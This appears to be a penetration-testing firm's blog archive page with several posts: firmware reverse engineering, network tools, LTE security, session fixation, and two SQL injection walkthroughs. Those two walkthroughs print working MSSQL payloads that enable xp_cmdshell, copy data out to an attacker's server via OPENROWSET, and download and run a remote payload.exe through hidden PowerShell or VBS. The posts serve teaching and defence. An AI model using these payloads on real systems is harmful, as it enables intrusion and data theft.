SECFORCE          
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
   
HOME SECFORCE - penetration testing COMPANY SECFORCE - penetration testing SERVICES SECFORCE - penetration testing RESEARCH SECFORCE - penetration testing BLOG SECFORCE - penetration testing NEWS & EVENTS SECFORCE - penetration testing INITIATIVES SECFORCE - penetration testing CONTACT
 
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    SECFORCE - penetration testing

Blog ■

 
SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing SECFORCE - penetration testing
    Home : Blog  
SECFORCE - penetration testing SECFORCE - penetration testing
   
Archive for the ‘Penetration Testing’ Category
 

Meet us in Brussels!

Wednesday, April 16th, 2014

We are liaising with UK Trade & Investment and the British Embassy in Brussels to deliver a seminar about “How Exposed are we to the Cyber Threat?” on Thursday 24 April

We will be talking about penetration testing and delivering a demo about the Heartbleed vulnerability. The purpose of the seminar is to inform Professional Service Providers about the potential threats of cyber attacks, providing clear information about the key strategies to minimize the risk of an unauthorised compromise.

To register, visit the following link:

http://www.eventbrite.co.uk/e/it-security-how-exposed-are-we-to-the-cyber-threat-tickets-10644559163

Reverse Engineer Router Firmware – Part 1

Thursday, April 3rd, 2014

This series will follow the process of reverse engineering router firmware with the purpose of discovering any vulnerabilities that could be used either remotely or locally to compromise the router. In this section I will mainly be covering how to extract/download the firmware alongside a very basic way to get a root shell on the firmware in this tutorial.

Firstly the firmware being analysed in this tutorial can be found here (for v8 of the TP-Link WR841N). In some cases, the firmware for your device of choice can be found by using your preferred search engine due to a lot of manufacturers making the firmware freely available for download, however due to the growing interest in the exploitation of embedded devices, it is becoming common practice to only have the firmware accessible by accessing the device physically i.e.. using a serial port or by manually dumping the flash memory.

General Linux RE Tools

  •  file – To determine if it is a valid file/file type.
  •  hexdump – a hex dump naturally.
  •  strings – similar to hexdump however presented in a readable format if possible.
  •  dd – To scrape data out of the bin file
  •  lzma – to decompress any LZMA files

3rd Party Tools

  • binwalk – to analyse the file for firmware headers and file systems.
  • Firmware Mod Kit – Bundle of scripts to automate the extraction process.
  • squashfs-tools – Can apt-get squashfs-tools for this. Bundle of tools to enable you to play with the squashfs in this tutorial

Initial Analysis

Generally the normal start to reverse engineering is to dump as much information on the file you can get using the standard Linux tools listed above. This should give enough information to determine where to go next for example in the hexdump you may find sqsh meaning that there is a squashfs on the file or perhaps spot U-Boot which is a well documented boot loader used frequently within firmware packages.

File Tool

The file tool essentially just tells us whether or not the file is a known file type and in some cases what kind of file it is e.g. data file.

You should see something similar to this:

Filetool

Which will confirm whether it is a readable/known file type or whether further investigation is needed. In this case we can see that it is (naturally) a data file.

hexdump

The hexdump tool is invaluable as it allows you to inspect the dump for any key phrases or words that can tell you what kind of system you are reversing as previously mentioned. The hexdump for this file should look like this:

Hexdump

The command above will pipe the results of the hexdump into a file (hexTP.txt) for further analysis. The -C sets hexdump to format the dump in Canonical hex+ASCII display making it easier to read. In this case we don’t gain all that much from the hexdump other than the manufacturer being TP-Link (which we already know) so the next step would be to try running strings on the .bin file to see if it gives us a more informative result.

strings

Strings is probably the most used and one of the best tools to start with as it displays all the printable data within the file. This can allow you to analyse the header of the file etc. Like we did with the hexdump, it is worthwhile piping the result of strings into a file for your own convenience to save having to re run strings every time you want to check something.

We find a few interesting phrases within the strings results:

stringsuboot

 

This was done just by opening the strings result file we found and searching for common boot loader names of file system names e.g. U-boot. This could also be done by grepping the file should you prefer. Now we know that the embedded device is using the U-boot boot loader and the version meaning that we can look up the documentation for it to gain a better understanding of the how the embedded device is designed.

Binwalk

Binwalk is a valuable tool to have considering it will scrape the bin file for any firmware headers or file systems that it may contain and then show you the offset of each of these sections should you wish to dd them. The binwalk output should produce:

Binwalkresults

Which gives us a wealth of information relating to the firmwares structure, from the boot loader it is using to the file system type. From these results we know that the firmware runs a Linux system on MIPS architecture, with a Squashfs file system that has been compressed using LZMA. It also confirms that the boot loader is indeed U-Boot as found in the strings results.

Extracting the Filesystem

Now comes the interesting section where we get to extract the contents of the file system held in the firmware image. With it being a Linux system it is safe to assume that the file system should contain the standard linux default folders where we could find some sensitive information e.g. the passwd or shadow file.

One of the ways that a lot of people will extract the FS is by using dd. However for the sake of time and ease, there are two main ways I would recommend for extraction.

The first is to use the -e parameter of binwalk which will automatically extract everything from the firmware image for you.

user@host$ binwalk -e <input file>

The second, and more efficient way of extracting is to use the extract-firmware.sh script that can be found in the Firmware Modification Kit. The reason for this is due to the fact that should you wish to modify the firmware and repack it, you can use the other script build-firmware.sh to do so. It saves a lot of time than manually extracting and handles all the offsets etc for you. The extract script will create a new set of folders within the fmk directory whereby you can find all the contents of the file system, the path should be /fmk/rootfs.

 

Coming Soon…

In the next part I will show you how to emulate the router architecture so you can try and run files that you extracted from the file system as well as how to get a root shell on the router!

 

Sparta – a Network Infrastructure Penetration Testing Tool

Tuesday, March 25th, 2014

What is it?

It is a known fact that all hackers like terminals but most (good) hackers also like efficiency and automating repetitive tasks. This is where SPARTA comes in.

SPARTA is a python GUI application which simplifies network infrastructure penetration testing by aiding the penetration tester in the scanning and enumeration phase. It allows the tester to save time by having point-and-click access to his toolkit and by displaying all tool output in a convenient way. If little time is spent setting up commands and tools, more time can be spent focusing on analysing results.

Have a look:

What are the goals?

- One of the most important goals of the project is the ability to fully customise what tools/commands you run from SPARTA. Every penetration tester has his/her own methods and toolkit and we do not want to change that. SPARTA tries to simplify the way you run tools and centralises their outputs, displaying them in a meaningful way.
- Automation of repetitive tasks is a must. You will always need to check for default credentials. You will always need to enumerate users. You always run certain tools when you find certain services. You can now perform these actions (on several hosts) in one click.

Any cool features?

- Nmap XML output importer
- Any tool that can be run from a terminal, can be run from SPARTA
- Default credentials check for most common services
- If any usernames/passwords are found by Hydra they are stored in internal wordlists which can then be used on other targets in the same network (breaking news: people reuse passwords)
- Ability to mark hosts that you have already worked on so that you don’t waste time looking at them again
- Screenshot taker so that you don’t waste time on less interesting web servers

What are the requirements?

- A Linux OS preferably Kali Linux as all the tools are already there
- A few extra python libraries

This project is very much a work in progress but hopefully the first release will be out in a few months. So stay tuned! :)

SECFORCE will be presenting at OWASP

Monday, March 17th, 2014

SECFORCE will present Tunna framework and a number of techniques penetration testers can benefit from to bypass network firewalls.

The presentation will include common scenarios in which HTTP tunnels can be use to bridge the gap between web application testing and infrastructure testing.

Please find information about the conference here.

4G LTE: Architecture and Security Concerns

Thursday, March 6th, 2014

4G is the fourth generation of mobile communication standards and it is very well underway to succeed the 3G technology and offer broadband performance, voice-video multimedia applications, significant increases in data rates and even better security(?).

The main difference about 4G wireless networks is that they operate entirely on TCP/IP architecture. Only packet-switched communication is supported for improved performance and all signaling and control network protocols are IP-based, thus, making the standard cost-effective and compatible across heterogeneous technologies.

The Architecture on a high-level:
Network-diagram

The components:

E-UTRAN:

The eNodeB (eNB) is the only network element in LTE with the task of establishing radio communication with the User Equipment (UE – a 4G capable mobile device) and respectively with the EPC (MME, S-GW) over the transport layer. eNodeBs can be considered the equivalent of an enhanced Base Station. An alternative to the eNodeB, the HeNB (Femtocell) functions as a low-power base station which is owned by the network provider and is designed to provide coverage and capacity solutions in indoors spaces.

EPC:

The MME (Mobile Management Entity) is a key element of LTE as far as control operations are concerned. The MME unit, similarly to the VLR in 3G, is responsible for signaling, tracking the location of idle UEs, user authentication and the selection of the most optimal S-GW for the UE based on network topology and the location of the UE within the network.

The HSS (Home Subscriber Service) is a component of the UE’s home network and, very much like the Home location register (HLR) in 3G, works as a central database containing subscription-related information, service and mobility data. Moreover, it keeps track of the user’s current MME address and holds pre-shared key material used to generate session authentication data which serves authentication purposes. The authentication method in LTE is again a challenge-response protocol which is completed between the UE and the MME based on the information that the HSS has generated and provided.

The main responsibility of the S-GW is to relay data between the eNodeB and the PDN gateway. S-GW acts as a router. Among others, the serving gateway will handle the redirection of data flow to a new eNodeB in case of a handover.

The PDN communicates user data to and from external data networks (service operator’s wireline network, Internet) and as a result, operates very similarly to the GPRS support node (GGSN) in UMTS and GSM. In other words, it allows the UE to communicate with entities outside the service provider’s main IP network. The most important functions of this LTE component are as follow: IP allocation to the UE, maintaining connection the network while moving from one place to another, billing – charging support, Quality-of-service (QoS) functions, packet filtering.

The Policy and Charging Rule Function (PCRF) is a software node which is responsible for policy enforcement, as well as for controlling the flow-based charging functionalities which reside in the P-GW. The PCRF will provide QoS information to the PDN, determine charging policy for data packets and dynamically manage data sessions.

Many of the new features work as improvements compared to 4G’s predecessors and one can identify many advantages in terms of performance, speed and security (higher-strength encryption, IP based configuration as opposed to 3G radio, etc.)

However, the question remains; how well are we prepared for this new wave of technology, how ahead and to what extent have we planned for this?

 

Location Tracking

One of the most important requirements of LTE is seamless mobility support across eNBs. Handovers are to be handled fast and transparently without causing any disruption to the communication flow.
When our UE currently associated with eNB1 moves closer to the coverage area of eNB2, the former sends coupling information to the latter. Then, eNB1 commands the UE to change the radio bearer to eNB2 and for that purpose forwards the handover command which contains connection specific information (C-RNTI, RACH Random Access Channel preamble, expiry date). The handover is complete after the UE forwards the identifier C-RNTI to the new eNB (like an ACK/confirmation message) and the eNB2 notifies the MME of the handover.
The UE sends this temporary identifier (C-RNTI) optionally in cleartext making it possible for a passive attacker to determine whether the UE has moved to a different cell. Having said that, an attacker is able to link the new and the old C-RNTIs and eventually track the UE over different cells.

Femtocells

When a femtocell provides better signal over a regular tower it is preferred by nearby UE devices. The problem is that connection to a femtocell can be transparent, meaning that a user does not often know he is connected to one, therefore, enabling an attacker who controls a tampered device to intercept user data in transit. Latest demonstrations of compromised and enhanced in power femtocell units show that this concern is not unfounded at all, as an attacker suitably positioned in crowded, public spaces could potentially track the activities of all nearby 4G devices.

Open Architecture

The 4g LTE network is an all-IP network with millions of very diverse components. Additionally, its development is coupled with a necessity for moving from the older, proprietary operating systems for handheld devices to open, standardized ones. Since all these devices will be operating on the network layer they become dynamically susceptible to all the existing attack techniques and methods present on the Internet (or any other IP based network) today. For instance, downloading malicious content can now affect the network on a larger scale and to a greater extent. This might signify a shift of security concerns towards the end user’s technology (smartphones, laptops, dongles etc.) rather than the network protocols in place.

It is also very likely that new issues will arise or become more common due to the untried nature of the 4G standard. For example, instances of attacks associated with VoIP (DoS, SPIT spam over Internet Telephony, Voice Service Theft, Registration Hijacking) are likely to increase exponentially due to the immense expansion of the attack surface. Finally, an availability concern is how the newly introduced encryption schemes will affect the performance of this IP-based infrastructure.

Other 4G related attacks can be found in academic literature:
-    Scrambling – Interference attacks
-    Denial of Service – Bandwidth stealing attacks

Finally, we need to keep in mind that as 4G LTE is not backwards compatible with 3G and, therefore, there is no fallback position in this case. Consequently, it becomes clear that security is of paramount importance to its success.

From CVS import to cmd.exe – via SQL injection

Tuesday, February 18th, 2014

This blog post explains the process that we followed in a recent penetration test to gain command execution from a CVS import feature. One of the most challenging issues was that we had to escape commas during the SQL injection attack, as it would break the CVS structure.

Scenario:

  • Application imports entries from file (CVS, Excel, etc) to the database
  • Typically the parsers used for this importation read every entry “as is” in the file.
  • In the case of CVS, documents entries are separated by a delimiter character (typically comma).

More often than not entries read from files do not go through the same sanitisation and validation functions as web application requests.

Example of a CVS entry:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever

1,SEC,FORCE,,,email@secforce.com,,

In this case, the parser expected some entries to be of a specific type; thus some entries were populated with expected types to bypass this restriction.

Attack Steps:

SQL vulnerability identification:

A SQL injection issue was identified when a crafted file was uploaded to the web application.

- The following file was sent:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever
1,SEC,FORCE,,,email@secforce.com,,

 - Result:

Unclosed quotation mark after the character string ”.

This is a SQL error! – let’s start early celebrations!

Verification:

- File sent:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever
1,SEC,FORCE,,,email@secforce.com,1′+char((SELECT @@version))+’1,

 - Result:

Conversion failed when converting the nvarchar value ‘Microsoft SQL Server 2008 R2 (RTM) – 10.50.1617.0 (Intel X86)
Apr 22 2011 11:57:00
Copyright (c) Microsoft Corporation
Express Edition with Advanced Services on Windows NT 6.1 <X86> (Build 7601: Service Pack 1)
‘ to data type int.

This is definitely working! – celebrations continue …

- Spoilers:

Only SQL errors were returned to the user. If the statement had no errors it just displayed importation failed/completed.
Moreover the importation was a two step process – not easily automated with sqlmap and time was running out.

I’ll spare you the rest of the details of this step - Info gathered: database version and database user (dbo)

Escalation – Reading local files:

In MSSQL the file must be imported into a table and read from there.

* Alternatively OPENROWSET can be used instead of BULK INSERT.

- File Sent:

- Copy the contents into our table:

Number,Name,Surname,Something,SomethingElse,Email Address,SQLInjectable,Whatever
1,SEC,FORCE,,,email@secforce.com,1‘;drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM ‘c:\windows\win.ini’ WITH (ROWTERMINATOR = ‘\ 0′);– ,

- Reading the contents back:

1,SEC,FORCE,,,email@secforce.com,1′+char((SELECT TOP 1 * FROM SecforceTBL))+’1 ,

ROWTERMINATOR is EOF (backslash 0) because life is too short to read a file line by line. The first CVS entry (SQL query) imports the whole file in one line.  The second entry triggered the error and returned the result

This worked for most files but then disaster! - … celebrated too soon!

The file was there but I couldn’t read it

“String or binary data would be truncated.”

* This was not because the row couldn’t hold the data (could be the case) but the SQL error string cannot be bigger than 4000 chars!

There is a workaround to this eventuality. It’s certainly not pretty, but it worked:

Powershell:
write output to file – read specific lines with powershell and write them to another file, then import it to the database:

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -command dir c:\ > c:\temp\1.tmp &&
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -command (Get-Content c:\temp\1.tmp)[0..10] > c:\temp\2.tmp

Or make a new table (SecforceTBL2) insert only 4000 chars into previous table (SecforceTBL) and trigger error as before – needs to use the comma bypass as above:

INSERT INTO SecforceTBL VALUES (SUBSTRING((select top 1 * from SecforceTBL),0,4000))

Escalation – Command execution through xp_cmdshell:

First of all, we verify whether xp_cmdshell is enabled.

[..]1′+char(( SELECT cast(value as varchar(1)) FROM sys.configurations WHERE name = ‘xp_cmdshell’ ))+’1
[..]1′+char(( SELECT cast(value_in_use as varchar(1)) FROM sys.configurations WHERE name = ‘xp_cmdshell’ ))+’1

In this case, xp_cmdshell was not enabled, so we had to enable it.

* Also try ‘show advanced options’ etc.

The application connected to the database as dbo, therefore  we should be able to enable it – easy!

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;
EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE

Well not so fast… The comma in the SQL code shown above would naturally break the CVS parser. In order to escape the comma character, we need to declare a variable that will hold the SQL query string and execute with master..sp_executesql:

[...]1′; DECLARE @sql NVARCHAR(500); set @sql = ‘EXEC sp_configure ”xp_cmdshell” ‘+CHAR(44)+‘ 1′; exec master..sp_executesql @sql; RECONFIGURE ;–

After launching the requests shown above, the configuration showed ’1′ but every command to connect to the outside fails (not even DNS). – ... never celebrate too early!

Command with 30 seconds delay:

[...]1′; exec master.dbo.xp_cmdshell ‘ping 192.0.2.2 -n 1 -w 30000 > nul’ ;–

It took 30 Sec to reply – awesome!

but the box is completely firewalled - not awesome!

Escalation – write a webshell on the web server root:

Some command line fu and we can see the results of the commands (see reading files below):

[...]1′; exec master.dbo.xp_cmdshell ‘dir c:\ > c:\temp\1.tmp’ ;drop table SecforceTBL;CREATE TABLE SecforceTBL (line varchar(MAX));BULK INSERT SecforceTBL FROM ‘c:\temp\1.tmp’ WITH (ROWTERMINATOR = ”) ;–

[..]1′+char(( SELECT TOP 1 * FROM SecforceTBL ))+’1

Just a matter of finding the webserver root

List all drives command:

wmic logicaldisk get name

Read the IIS configs to find the server root.

In this case, we discovered that the database server was hosted in a different host and the web server was not accessible:

thankyou

… and TIME was up!

MORAL OF THE STORY:

Sanitise *ALL* input – In general all input should be treated the same way.

For the SQLi vulnerability the easiest fix would be to use parametrised queries, this would prevent SQL injection attacks without having to add an extra layer of sanitisation.

Lastly, having the database server in a DMZ zone and segregated from the web server prevented this attack from escalating any further.

Making Tunna (… or bypassing firewall restrictions with HTTP tunneling)

Friday, August 9th, 2013

A couple of months ago SECFORCE was set to create the ultimate webshell. The idea behind it was to include all the tools a pentester needs in one webshell and make our lifes easier by for example dropping a meterpreter shell on the remote webserver with as less user interaction as possible.

Soon it was apparent that it would be much “cooler” for the webshell to communicate with a meterpreter shell without the need for meterpreter to expose or bind an external port. The benefits of it are obvious – this would effectively bypass any firewall rules in place.

It was realised that this could be a nice tool on its own so the project was forked and development started. Some time later a set of webshells and the client proxies were created. The task was not as easy as it seems, mostly because it is hard to keep it simple and at the same time make the same code work across different languages. Still there are some “programming language” quirks that could not be bypassed or made transparent to the end user. Given the different technologies in play (web servers / web languages / client languages) and all the possible combinations it would be very hard to tackle some of the issues and make it seamless to the end user without loosing some of the tools flexibility. Having said that, Java proved to be the most problematic language of the whole bunch – this needs to be said. Java was eating bytes in large packets – reasons for this are still not obvious – making both debugging and optimisation a pain. Apart from that, the PHP webshell also works in a somehow different way where it stalls a thread on the remote server to keep the connection alive. However, the latter is seamless to the user.

Tunna Framework - Penetration Testing

Tunna Framework - Penetration Testing

What Tunna does is to open a TCP connection (socket) between the webserver (webshell) and a socket on the local machine (webserver). It is also possible to open a connection to any other machine but lets keep this example simple. The client also opens a local socket and starts listening for connections. When a connection is established on the local client any communication would be sent over to the webshell in an HTTP request. The webshell will extract the data and put write them its local socket (remote socket for the client). Now the problem with HTTP is that you cannot really have asynchronous responses. The easiest way to tackle this issue was to keep querying the webshell for data. This creates a lag but it is nothing a pentester cannot live with – at this point it must be noted once more that this is a tool “to get a remote meterpreter shell if the firewall is blocking external connections” and not for critical/real-time applications.

After that, we went back to the original idea and created the metasploit module. It is still under development and should be used with extreme caution. It is still recommended to upload a meterpreter shell and use Tunna main module to connect to it. The metasploit module can be summarised as a “half rewrite of the existing code to work with or around metasploit API” (mostly around). This means that “code hacks” were created as needed to make it work. To be architecturally correct with metasploit, the original idea was to create a new metasploit “handler” … however, this proved to be harder than expected and what you get is a bastardisation of handler-exploit … but it works.

Lastly, any comments, bugs or improvement ideas are welcome.

For more information, visit our Tunna Framework page.

Download: Tunna v0.1

Scanning SNMPv3 with nmap vs unicornscan

Wednesday, June 19th, 2013

Many penetration testers rely on unicornscan’s speed to perform UDP portscans. Sometimes, a first pass is made with unicornscan to detect open UDP ports and then a second pass is made with nmap on those ports to find additional information about the service.

In a recent penetration test we came across an interesting situation where nmap could detect an SNMP service running on the target but unicornscan missed it.

To understand what was happening we wiresharked both scans and compared the packets sent by both scanners.

Wireshark - portscans with unicornscan and nmap

On the left we see the packet sent by unicornscan and on the right the one sent by nmap.

What had happened was that the service running was SNMPv3 and while nmap was sending an SNMPv3 get-request, unicornscan was sending an SNMPv1 get-request which was’t understood/supported by the remote service.

Fortunately, unicornscan is a flexible tool which allows the creation of custom payloads. Creating a payload is as simple as adding the new payload to the configuration file (payloads.conf). By inspecting this file we saw that, as expected, there was an SNMPv1 payload which corresponded exactly to the bytes we saw in wireshark (see selected bytes).

Following this logic, all we had to do was create a payload from the bytes selected in the second capture file. Thus, the new payload looks like this:


/* SNMPv3 payload */
udp 161 161 1 {
"\x30\x3a\x02\x01\x03\x30\x0f\x02\x02\x4a\x69\x02\x03\x00\xff\xe3"
"\x04\x01\x04\x02\x01\x03\x04\x10\x30\x0e\x04\x00\x02\x01\x00\x02"
"\x01\x00\x04\x00\x04\x00\x04\x00\x30\x12\x04\x00\x04\x00\xa0\x0c"
"\x02\x02\x37\xf0\x02\x01\x00\x02\x01\x00\x30\x00"
};

Now, when you run unicornscan it will detect SNMPv3! :)

HSFPP – HTTP session fixation parameter pollution

Monday, February 25th, 2013

Session fixation is an issue whereby an attacker is able to set a session token for a victim, and therefore being able to hijack the victim’s session. HTTP pollution of a fixated cookie could potentially have devastating consequences.

A general recommendation and one (of many) ways to protect applications against this type of attacks is to delete the cookie before login to the application and issue a new cookie with a random session token upon successful authentication. However, it often introduces a new issue as cookies with different flags are normally treated as different ones..

First lets have a look at an important part of the RFC for HTTP State Management Mechanism (Cookies):

“Although cookies are serialized linearly in the Cookie header, servers SHOULD NOT rely upon the serialization order.  In particular, if the Cookie header contains two cookies with the same name (e.g., that were set with different Path or Domain attributes), servers SHOULD NOT rely upon the order in which these cookies appear in the header. ” (http://tools.ietf.org/html/rfc6265)

Understandably this is part of the as-designed functionality of cookies.

Well, probably it is still not clear where is the vulnerability.

Let’s explain further:

One would assume that, if a cookie is set with the same name with another cookie, the one set now would overwrite the latter.

The same for deletion, update etc. However, this relies on the browser’s cookie handling as per the above quote and not on the server.

In general the server/application should never assume anything that it is not directly controlled by it.

The problem is that cookies with different flags are considered different, although they might have the same name. This will make most, (if not all) browsers to store them and send them BOTH at every request.

Although which one is send before or after depends on the browser, the weather, the tides and the planetary movements. Therefore, the value received by the application is unpredictable.

So, where is the vulnerability you ask?

If you can’t see it yet you might want to have a look in HTTP parameter pollution.

Two variables with the same name are sent to the server, which one is the one that the server will get? Also what happens if one of them gets validated by the application and then, using a different mechanism (parser etc.) the other one is the one that queries the database?

Let’s consider this scenario:

  • The server deletes the (old) session cookie when the user tries to login to the application
  • Then issues a new cookie after successful login.
  • Additionally in many cases the server only accepts cookies issued by it.
  • An attacker now logins to the application and gets a legitimate cookie bound to his session.
  • Then he fixes this cookie in the victims browser. (He also makes sure to change the cookie flags)
  • Now the victim tries to login to the application.

The attackers (fixed) cookie is sent to the server and the server responds back with a “expire cookie” to delete the old cookie. If this response does not have the same name AND the same flags as the fixed cookie, the browser might not actually delete it

The victim successfully authenticates to the application and a new session cookie is sent

Obviously all of the above will not lead to a session fixation - This heavily depends on how the application binds the session to the cookie and mostly on what it expects!

However, this kind of issue is not uncommon. In this case, the browser in every request will send both cookies. Which one would be read by the application is not certain and therefore this can lead to the application binding the attackers cookie to the victims session.

Then the attacker can use the session cookie to impersonate the victim to the application.

Going back to the RFC “servers SHOULD NOT rely upon the order in which these cookies appear in the header” add to that the general security term “Trust nothing” and you have a solution to the problem.

Addressing the issue:

Each application behaves differently and there is no easy way to make exact suggestions. Generic ones, on the other hand, led us here on the first place.

When a user authenticates and a new session is created, it is wise to destroy the previous session. Additionally, when designing and developing software, do not assume anything out of the applications control actually gets done.

Have no expectations! Do not expect that the received data will have the correct format/structure/form/etc.

Know your environment! Know how the application AND the server handle multiple parameters with the same name.

Be consistent in the way parameters are accesses and verified. Use the exact same mechanism to fetch parameters every time.

Validate all input to ensure it is in the expected and correct format.

Stacked based MSSQL blind injection bypass methodology

Monday, January 7th, 2013

If you have a blind SQL injection you are already in a good position. Exploitation however, depending on the type of the blind SQL injection, can take time.

This post is part of a methodology used for obtaining output from a stacked based blind SQL injection.

Requirements:

  1. Stacked based Blind SQL injection
  2. Local MSSQL database server (MSSQL server express was used in this example)
  3. Improper remote firewall configuration (allows outbound connections)
  4. #include <brain.h>

If all of the requirements above are met then the following technique can be used:

  • On the local server create a new database with a table to store the results:
    • CREATE DATABASE output_db;
    • CREATE TABLE output_db..output ( result VARCHAR(MAX) );
    • Lastly, open the ports and change the config for remotely connecting to the database.
  • On the remote server test for OPENROWSET  and external connection:
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      output_db.dbo.output) SELECT @@version–

This instructs the remote database server to connect to the local database and write the result of the SELECT @@version command. If “SELECT * from output_db..output” returns any results then you are in luck otherwise continue using sqlmap…

Now we can change the “SELECT @@version” part to run any command we want and the results are going to get saved our database.

NOTE:  OPENROWSET needs the destination table to have the same columns as the ones returned by the remote command ans *similar* types to avoid any errors

Copying Databases:

  • After you create a new database make a copy of the local sysdatabases and empty it:
    • SELECT TOP 0 * INTO master_copy..sysdatabases from master..sysdatabases;
    • DELETE master_copy..sysdatabases;
  • Copy the Remote sysobjects over to master_copy..sysdatabases;
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      master_copy..sysdatabases;) SELECT * FROM master..sysdatabases;–
  • For every returned name create a new database and list tables
    • CREATE DATABASE LOCAL_DB_NAME;
    • CREATE TABLE LOCAL_DB_NAME..tables( names VARCHAR(MAX) );
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      LOCAL_DB_NAME..tables;) SELECT name FROM REMOTE_DB_NAME..sysobjects WHERE xtype = ‘U’;–
  • For every returned table create a new table for to hold the column data
    • CREATE TABLE LOCAL_DB_NAME..columns ( name VARCHAR(MAX), type VARCHAR(MAX) );
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=localhost;uid=sa;pwd=sa’,
      LOCAL_DB_NAME.dbo.columns) SELECT REMOTE_DB_NAME..syscolumns.name,
      TYPE_NAME(REMOTE_DB_NAME..syscolumns.xtype) FROM
      REMOTE_DB_NAME..syscolumns, REMOTE_DB_NAME..sysobjects WHERE
      REMOTE_DB_NAME..syscolumns.id=REMOTE_DB_NAME..sysobjects.id AND
      REMOTE_DB_NAME..sysobjects.name=’sysobj’;
  • Now create a new table with the same columns and data types and copy using the same command as above
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      LOCAL_DB_NAME..TABLE ;)  SELECT * FROM REMOTE_DB_NAME..TABLE;–
    • Or create a new table with only the columns you need and copy over only those

Advancing:

  • Bruteforcing the sa password for command execution is possible with double OPENROWSET. The first OPENROWSET is the connection back to our database, the second OPENROWSET instructs the remote DB to connect to itself as sa run “SELECT @@version” and return the result to us.
    • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
      uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
      output_db.dbo.output)
      SELECT * FROM OPENROWSET(‘SQLNCLI’,'server=localhost;uid=sa;pwd=PASSWORD‘,’SELECT @@version’)
  • Command execution with output of the results (if the sa password is known)
  • ; INSERT INTO OPENROWSET(‘SQLOLEDB’,'server=LOCAL_SERVER_IP;
    uid=LOCAL_SERVER_USERNAME;pwd=LOCAL_SERVER_USER_PASS‘,
    output_db.dbo.output)
    SELECT * FROM OPENROWSET(‘SQLNCLI’,'server=localhost;uid=sa;pwd=PASSWORD‘,
    ‘set fmtonly off; exec master..xp_cmdshell ”dir” ; ‘)–
Advancing more:
NOTE: because of the “fmtonly off” instruction the issued command is going to be run twice. This makes echo-ing to script files a bit harder.
  • A nice technique for running meterpreter is through powershell. SET framework will take care of everything … it’s only a matter of copying the command payload.
  • … or do it yourself. The following commands are for downloading a file from a web server, and running it.
    • (Powershell) [Convert]::ToBase64String([System.Text.Encoding]::
      Unicode.GetBytes(“(new-object System.Net.WebClient).
      DownloadFile(‘http://REMOTE_SERVER/payload.exe‘,
      C:\DESTINATION_FOLDER\payload.exe‘)”))
  • This will generate an encoded command string that you can run on the remote server:
    • powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -encodedCommand “ENCODED_COMMAND_STRING
  • If this doesn’t work, you can echo and run the one-liner vbs script below:
    • echo Set objXMLHTTP=CreateObject(“MSXML2.XMLHTTP”):objXMLHTTP.open
      “GET”, “http://REMOTE_SERVER/payload.exe“, false:objXMLHTTP.send():
      If objXMLHTTP.Status=200 Then Set objADOStream=CreateObject(“ADODB.Stream”):
      objADOStream.Open:objADOStream.Type=1:
      objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position=0:
      Set objFSO=Createobject(“Scripting.FileSystemObject”):
      Set objFSO = Nothing:
      objADOStream.SaveToFile “C:\DESTINATION_FOLDER\payload.exe”:
      objADOStream.Close:
      Set objADOStream=Nothing:
      Set objXMLHTTP=Nothing > C:\DESTINATION_FOLDER\script.vbs
  • Run the script:
    • cscript  C:\DESTINATION_FOLDER\script.vbs
  • Run the payload:
    • C:\DESTINATION_FOLDER\payload.exe

$ chmod -x attack //Protecting the web server (for the non pen-testers)

What went wrong – Recommendations:

First off all, the SQL injection, (*obviously*) sanitizing the input would be the first step. However this is only part of the problem, other factors contributed into making this attack vector possible. At least this would not lead to complete compromise of the server if a layered approach was taken and the perimeter was adequately protected.

For example if the outbound connections were firewalled (eg. deny all outbound and only allow incoming connections to the webserver), it would not be possible to make a remote connection to our own server in order to get the SQL results.

Secondly, hash AND SALT all database passwords. Many reasons for that just accept the fact that this is how it must/should be done.

Lastly, make the sa password hard to guess and do not reuse passwords, specifically administrative passwords.

If all of the above were implemented, then the attack would take significantly more time and the attacker would get at most an administrative password (for the web application) which hopefully would take years to crack. Instead of the attack taking a couple of hours and leading to complete compromisation of the host.

Last note: all of the above scenarios are based on vague assumptions about the configuration or typical configurations.

 
   
 
BLOG

Archives

April 2014
March 2014
February 2014
August 2013
June 2013
February 2013
January 2013
December 2012
November 2012
October 2012
January 2012
October 2011
September 2011
July 2011
June 2011
April 2011
February 2011
January 2011
March 2009
February 2009
January 2009
December 2008
November 2008
October 2008

Categories

